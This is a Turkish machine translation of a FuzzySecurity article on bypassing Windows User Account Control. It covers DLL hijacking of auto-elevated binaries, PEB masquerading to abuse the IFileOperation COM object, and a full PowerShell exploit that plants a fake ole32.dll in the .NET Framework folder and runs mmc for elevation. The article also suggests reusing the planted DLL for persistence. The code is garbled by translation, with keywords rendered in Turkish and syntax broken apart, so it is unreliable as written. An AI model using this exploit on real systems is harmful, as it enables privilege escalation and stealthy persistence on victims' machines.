UAC Saldırısının Analizi
Önsöz
Bu yazıda, UAC (Kullanıcı Hesabı Kontrolü) baypas saldırılarına dahil olan temel ilkeleri tartışacağız. UAC (Kullanıcı Hesabı Kontrolü), Microsoft tarafından sistem güvenliğini artırmak için Windows Vista'da sunulan yeni bir teknolojidir.Kullanıcıların, bilgisayarın çalışmasını etkileyebilecek işlemler gerçekleştirmesini veya diğer kullanıcıları etkileyen ayarları değiştiren işlemler gerçekleştirmesini gerektirir. İzinleri veya yönetici şifresini sağlayın.
UAC, Windows Vista'da tanıtıldı ve yönetici kullanıcıların bilgisayarı çalıştırmak için yönetici hakları yerine standart kullanıcı haklarını kullanmasına olanak tanıdı. Varsayılan olarak, Windows'daki ilk kullanıcı hesabı, yalnızca basit bir gereksinim olan Yöneticiler grubunun bir parçasıdır. Tam da bu nedenle, geliştiricilerin (Vista döneminden önce) yerel yönetici haklarına sahip kullanıcılara sahip olma eğiliminde olmaları ve uygulamalarını geliştirirken haklarını yükseltmeleri gerekiyor. Bu bağlamda, resmi açıklama, UAC'nin bu davranışı engellemenin ve geriye dönük uyumluluk sağlamanın bir yolu olarak tanıtıldığı yönünde.
Bununla birlikte, UAC'nin doğrudan yararı, yöneticileri yazılım bileşenleri tarafından gerçekleştirilen kötü niyetli ayrıcalık artışından korumak veya uyarmaktır. Bence UAC aslında çok yetenekli bir güvenlik mekanizmasıdır (yaygın dll tarafı yükleme sorununu unutursak), herkes bunun yalnızca bazı gelişmiş kötü amaçlı yazılım araç setlerine veya Metasploit / Cobalt Strike vb. Gibi araçlara bakması gerektiğini iddia etmek ister. UAC'yi atlamak için mekanizmalar içeren açık kaynaklı çerçeve. Ek olarak, Microsoft'un, CAB dosyalarını belirli bir yola çıkarmak için WUSA kullanmak gibi birçok atlama güvenlik açığını yamaladığını da unutmayalım. Güvenilir bir yandan yükleme onarımı uygulanamaz ve uygulanırsa, son kullanıcının güvenliğini büyük ölçüde artıracaktır.
Her durumda, UAC her zaman hararetli tartışmaları tetikliyor, bu yüzden bu konu hakkında bir daha konuşmayacağım. Bu "uyumluluk" özelliğindeki boşlukları inceleyelim.
Kaynaklar
- Baypas-UAC (@FuzzySec)
- UACME (@ hFireF0X)
- Windows Kullanıcı Hesabı Denetimi'ni (UAC) ve azaltma yollarını (@ParvezGHH) atlama
- Eventvwr.exe ve Registry Hijacking Kullanılarak Dosyasız "UAC Bypass (@ enigma0x3)
- Disk Temizleme (@ enigma0x3) kullanılarak Windows 10'da UAC'yi atlama
- TpmInit (@Cneelis) kullanarak Kullanıcı Hesabı Denetimini (UAC) baypas etme
- Windows 7 Kullanıcı Hesabı Denetimi İçinde (Microsoft Technet)
- Windows Vista Kullanıcı Hesabı Denetimi İçinde (Microsoft Technet)
- Kullanıcı Hesabı Denetimi (MSDN)
Otomatik tanıtım
Burada anlaşılması gereken en önemli şey, işlem yükseltilmiş ayrıcalıklar yerine normal olarak başladığında, yönetici kullanıcı tarafından oluşturulan işlem simgesinin belirli ayrıcalıklardan yoksun bırakılmasıdır (örneğin: yönetici olarak çalıştır ...). Bunu, Get-TokenPrivs veya Sysinternals Process Explorer kullanarak belirteç izinlerini boşaltarak kolayca doğrulayabiliriz. Aşağıdaki ekran görüntüsü, biri normal olarak başlayan ve diğeri yönetici olarak başlayan iki "cmd.exe" örneğini göstermektedir.
Esasen, yönetici grubuna ait olan kullanıcılar bilgisayarlarını diğer kullanıcılarla aynı izinlerle yönetirler. Öyleyse, yüksek ayrıcalıklı bir kullanıcı ile düşük ayrıcalıklı bir kullanıcı arasındaki fark nedir? Ayrıcalık yükseltme işleminin yine de bu belirteci değiştirmesi gerekir, UAC ayarlarına bağlı olarak kullanıcıya bir parola bildirilebilir / istenebilir.
Ancak, biri varsayılan değer olan iki UAC ayarı arasında, kullanıcı yönetici grubuna aitse, Windows programının otomatik olarak yükseltilmesi çok önemlidir. Bu ikili dosyalar, aşağıda gösterildiği gibi bildirimlerinin dökümüyle tanımlanabilir.
Bu ikili dosyaları bulmanın kolay bir yolu, dizeyi özyinelemeli olarak dökmek ve "autoElevate > Buradaki mantık, bu ikili dosyaların kökenleri dikkate alınarak Microsoft tarafından imzalanması ve kullanıcının bir yönetici olması, bu davranışı istemeye gerek olmamasıdır (başka bir deyişle, bu bir kullanılabilirlik özelliğidir).
İşlem izleyicisini açana ve ihtiyaç duydukları kaynakları (yalnızca dll'leri değil aynı zamanda kayıt defteri anahtarlarını da) başarıyla yüklemek için ikili dosyaları bulana kadar bu makul görünüyor. Maalesef bu, kötü niyetli kullanıcıların ele geçirmesi için geniş fırsatlar sağlar.
Aşağıdaki örnek, MMC'nin RSOP'yi yükseltmek için kullanıldığı ve RSOP'nin "wbemcomn.dll" (= yönetici) yüksek bir bütünlükle yüklemeye çalıştığı iyi bilinen bir durumu göstermektedir.
Komik olan, filtrelenmiş çıktıya bakıldığında, burada en az üç başka UAC 0gün (..sign) vardır. Birisi UAC'yi atlamak için bir çekme isteği göndermek isterse, bunu kendiniz yazın!
Ayrıcalık dosyası işlemi
"Bu dll'lerin güvenli bir dizinde olduğunu" düşünebilirsiniz! Yukarıda tartıştığımız ikili dosyalar gibi, otomatik olarak yükseltilen COM nesneleri de vardır. Bu COM nesnelerinden biri bizim için özellikle yararlıdır.IFileOperation COM nesnesi, dosya sistemi nesnelerini (dosyalar ve klasörler) kopyala / taşı / yeniden adlandır / sil gibi birçok yararlı yöntem içerir.
Geleneksel olarak, saldırgan tarafından yazılan dll, IFileOperation COM nesnesinin örneğini oluşturur ve saldırganın dosyasını korumalı dizine taşıma yöntemini yürütür (yukarıdaki örnekte C: \ Windows \ System32 \ wbem \ wbemcomn.dll gibi). Bir COM nesnesinin edinilmesi, DLL'yi, genellikle "explorer.exe" (- > fdwReason == DLL_PROCESS_ATTACH). Örnek dll kaynak kodu
Ancak, IFileOperation yöntemini korumanın ve DLL'yi herhangi bir yere bir uyarı tetiklemeden enjekte etmenin daha esnek bir yolu olduğu ortaya çıktı. COM nesneleri, çalıştırdıkları işlemi tanımlamak için İşlem Durumu API'sine (PSAPI) güvenir. İlginç bir şekilde, PSAPI bu bilgiyi elde etmek için PEB sürecini ayrıştırır, ancak saldırgan kendi işleminin idaresini elde edebilir ve PSAPI'yı kandırmak için PEB'nin üzerine yazabilir.Sonuç olarak, herhangi bir COM nesnesi sahte PID'den başlatılabilir.
Bu noktayı açıklamak için bir PowerShell POC (Masquerade-PEB) yazdım. Aşağıdaki örnekte, PowerShell bir kaşif olarak gizlenmiştir ve Sysinternals süreç gezgini de açıkça aldatılmıştır.
Örnek olay incelemesi: winsxs, UAC 0day
Aşağıdaki örnek olay incelemesinde, Windows Parallel (WinSxS) dll yükleme problemine bakacağız. WinSxS, Windows ME'de "dll cehennemi" denen soruna bir çözüm olarak tanıtıldı. Temel olarak, genel birleştirme önbelleğine benzer.Bir ikili programın belirli bir kitaplığa erişmesi gerektiğinde, listesindeki kitaplığın sürümüne başvurabilir ve işletim sistemi ilgili WinSxS klasöründen (C: \ Windows \ WinSxS) yüklemeye devam edecektir. DLL.
Örnek olay incelememiz için, otomatik olarak yükseltilen Microsoft Uzaktan Yardım ikili dosyasına (C: \ Windows \ System32 \ msra.exe) bakacağız. Aşağıda ikili dosyanın içeriğini görebiliriz.
Bağımlılık kısmına dikkat edin, mrsa'nın kitaplığın bazı "Microsoft.Windows.Common-Controls" sürümüne ihtiyacı var. Msra çalıştırıldığında süreç monitöründe ne olacağını görelim.
msra, "msra.exe.Local" adlı bir dizini arar. Klasörü bulamadığında, "C: \ Windows \ WinSxS" dosyasını ziyaret edecek ve bildiriminde belirtilen kitaplığı yükleyecektir. Geliştiriciler, hata ayıklama sırasında dotlocal klasörünü yasal olarak kullanabilir. Aşağıdaki dizin yapısını oluşturduğumuzda ne olacağını tahmin edebilirsiniz.
Pek çok * facepalm * ile, bu noktada yapmamız gereken şey, yük DLL'si ile bir klasör oluşturmak için IFileOperation COM nesnesini kullanmak ve UAC'yi atlamak için komut satırında MSRA'yı çalıştırmaktır. Bu biraz fazla basit çünkü payload dll bazı dll dışa aktarımlarını iletebilir, ancak bir fikriniz olmalı. Birisi UAC'yi atlamak için bir çekme isteği göndermek isterse, bunu kendiniz yazın!
Örnek olay incelemesi olarak WinSxS'i seçmenizin nedeni, otomatik yükseltilmiş ikili dosyaya bakmaya başladığınızda bu sorunu aynen görecek olmanızdır. KernelMode iş parçacığının okunması önerilir.
Örnek olay incelemesi: Ole32.dll'nin .NET = aracılığıyla ele geçirilmesi > Baypas-UAC
Bu tür UAC baypasının birçok hareketli parçası olduğundan (yükseltilmiş COM kullanarak), tüm yorucu görevleri yerine getirmek için bir PowerShell çerçevesi oluşturdum. Bypass-UAC'nin birkaç farklı bileşeni vardır: (1) Masquerade-PEB, işlem aldatmacasını ele almaktan sorumludur, (2) Invoke-IFileOperation, IFileOperation COM nesne yöntemlerini PowerShell'e sunar ve (3) Emit-Yamabiko yük dll'sini diske kaydeder.
Geçmiş vaka çalışmasında, nispeten basit bir UAC "0day" buldum, x32 / x64 Win7-Win10 üzerinde çalışacak olan Yamabiko'yu güncellememi gerektirmeyen bir şey bulmak istiyorum. Son olarak, .NET çerçevesi tarafından yükün kötüye kullanılması sorununu çözdüm. Yanlış yükleme davranışını tetiklemenin birçok yolu vardır, ancak UAC'yi (* .msc) atlamak için MMC'yi kullanacağız.
MMC Profil Oluşturma:
"Mmc gpedit.msc" başlatıldığında süreç izleyicide ne olacağını görelim (filtreleme: komut satırında "mmc" var, ad bulunamadı, yolda "dll" var). Aşağıdaki ekran görüntüleri sırasıyla Win 7 ve Win 10'un sonuçlarını göstermektedir.
Win7
Win10
İki işletim sistemi sürümünde bazı korkunç girdiler var! Ancak, tuhaflıkları ve çakışmayan girişleri göz ardı ederek, "MFC42LOC.DLL" ve "ole32.dll" dosyalarını bırakıyoruz. MFC42LOC'nin biraz daha araştırılması gerekiyor, birkaç kez gördüm, ancak iyi oynamıyor gibi görünüyor. Öte yandan, Ole32'nin uygun bir seçim olduğu kanıtlandı.
Ole 32'nin kaçırılması:
Çözmemiz gereken bir sorun, DLL'nin açıkça farklı bir dizinden yüklenmiş olmasıdır ve kısa bir anket, varsayılan .NET sürüm klasörünün ole32'yi aradığını ortaya çıkarmıştır. Bu sürümü almak için aşağıdaki PowerShell komutunu kullanabiliriz.
Belirgin olmayan bir başka sorun da Bypass-UAC'deki Yamabiko proxy dll'sinin PowerShell'i açmasıdır.PowerShell'in kendisi bu hataya neden olur ve sonsuz bir kabuğun açılmasına neden olur ... Bu davranışı önlemek için yük dll'mizin yüklendiğini tespit etmeliyiz Ve silin, böylece yalnızca bir kez çalıştırılır!
Baypas-UAC uygulaması:
UAC'yi atlamak için yöntemler eklemek çok kolaydır, daha fazlasını öğrenmek istiyorsanız lütfen GitHub'daki projeyi kontrol edin! Bypassımızın çalışması için aşağıdaki yöntemleri ekledim, herhangi bir sorunuz varsa, lütfen mesaj bırakmaktan çekinmeyin!
'UacMethodNetOle32' { # Hibrit MMC yöntemi: mmc some.msc- > Microsoft.NET \ Framework \ .. \ ole32.dll # X64 / x32 Win7-Win10 (yamalanmamış) üzerinde çalışır eğer ($ OSMajorMinor -lt 6.1) { echo "İşletim sisteminiz bu yöntemi desteklemiyor!" n " Dönüş } # Explorer.exe kimliğine bürün echo "" n explorer.exe'nin kimliğine bürünüyor! " Masquerade-PEB -BinPath "C: \ Windows \ explorer.exe" eğer ($ DllPath) { echo "Özel proxy dll kullanılıyor .." echo "Dll yolu: $ DllPath" } Başka { # Yamabiko.dll dosyasını diske yaz echo "Proxy dll kaldırılıyor .." Emit-Yamabiko } # Varsayılan .NET sürümünü edinin $ Net_Version = :: GetExecutingAssembly (). ImageRuntimeVersion # PowerShell işlemlerinin sayısını alın $ PS_InitCount = @ (Get-Process -Name powershell) .Count # IFileOperation COM nesnesini açığa çıkarın Invoke-IFileOperation # Exploit mantığı echo "Yükseltilmiş IFileOperation :: MoveItem işlemi gerçekleştiriliyor .." # x32 / x64 .NET klasörü eğer (x64 $) { $ IFileOperation.MoveItem ($ DllPath, $ ($ env: SystemRoot + '\ Microsoft.NET \ Framework64 \' + $ Net_Version + '\'), "ole32.dll") } Başka { $ IFileOperation.MoveItem ($ DllPath, $ ($ env: SystemRoot + '\ Microsoft.NET \ Framework \' + $ Net_Version + '\'), "ole32.dll") } $ IFileOperation.PerformOperations () echo "" n mmc .. yürütülüyor " IEX $ ($ env: SystemRoot + '\ System32 \ mmc.exe gpedit.msc') # Sonsuz mermilerden kaçınmak için yüklendikten sonra Yamabiko'yu% tmp% konumuna getirin! while ($ true) { $ PS_Count = @ (Get-Process -Name powershell) .Count eğer ($ PS_Count -gt $ PS_InitCount) { Deneyin { # x32 / x64 .NET dosyası eğer (x64 $) { $ IFileOperation.MoveItem ($ ($ env: SystemRoot + '\ Microsoft.NET \ Framework64 \' + $ Net_Version + '\ ole32.dll'), $ ($ env: Temp + '\'), 'ole32.dll' ) } Başka { $ IFileOperation.MoveItem ($ ($ env: SystemRoot + '\ Microsoft.NET \ Framework \' + $ Net_Version + '\ ole32.dll'), $ ($ env: Temp + '\'), 'ole32.dll' ) } $ IFileOperation.PerformOperations () kırmak } tutmak { # Bazen IFileOperation bir istisna atar # arka arkaya iki kez çalıştırıldığında, sadece tekrar çalıştırın .. } } } # Temizlemek echo "UAC yapısı: $ ($ env: Temp + '\ ole32.dll')" n " }Durum bitti, aşağıdaki ekran görüntüsü Windows 8 (x64) ve Windows 10 (x32) üzerindeki baypası gösteriyor.
Win8 x64
Win10 x32
Öte yandan, bu oldukça iyi bir kalıcılık mekanizmasıdır. .NET framework klasöründe ole32 tarafından paketlenen DLL'yi silin ve başlangıçta / boşta kaldığında herhangi bir şey çalıştırmak için .NET'i kullanmayı planlayın.
sonuç olarak
Bunu yaparsanız, Microsoft'un neden UAC atlamayı tanımadığını anlayabileceğinizi düşünüyorum. Dürüst olmak gerekirse, UAC'yi yoluna sokmanın en iyi yolunun aktif olarak yama yapmak olduğunu düşünüyorum.
* Orijinal: Fuzzysecurity Mottoin tercüme edildi ve yayınlandıOrijinal makale, yazar: Sam, http: //www.mottoin.com/article/system/90755.html adresinden yeniden üretilmiştir.
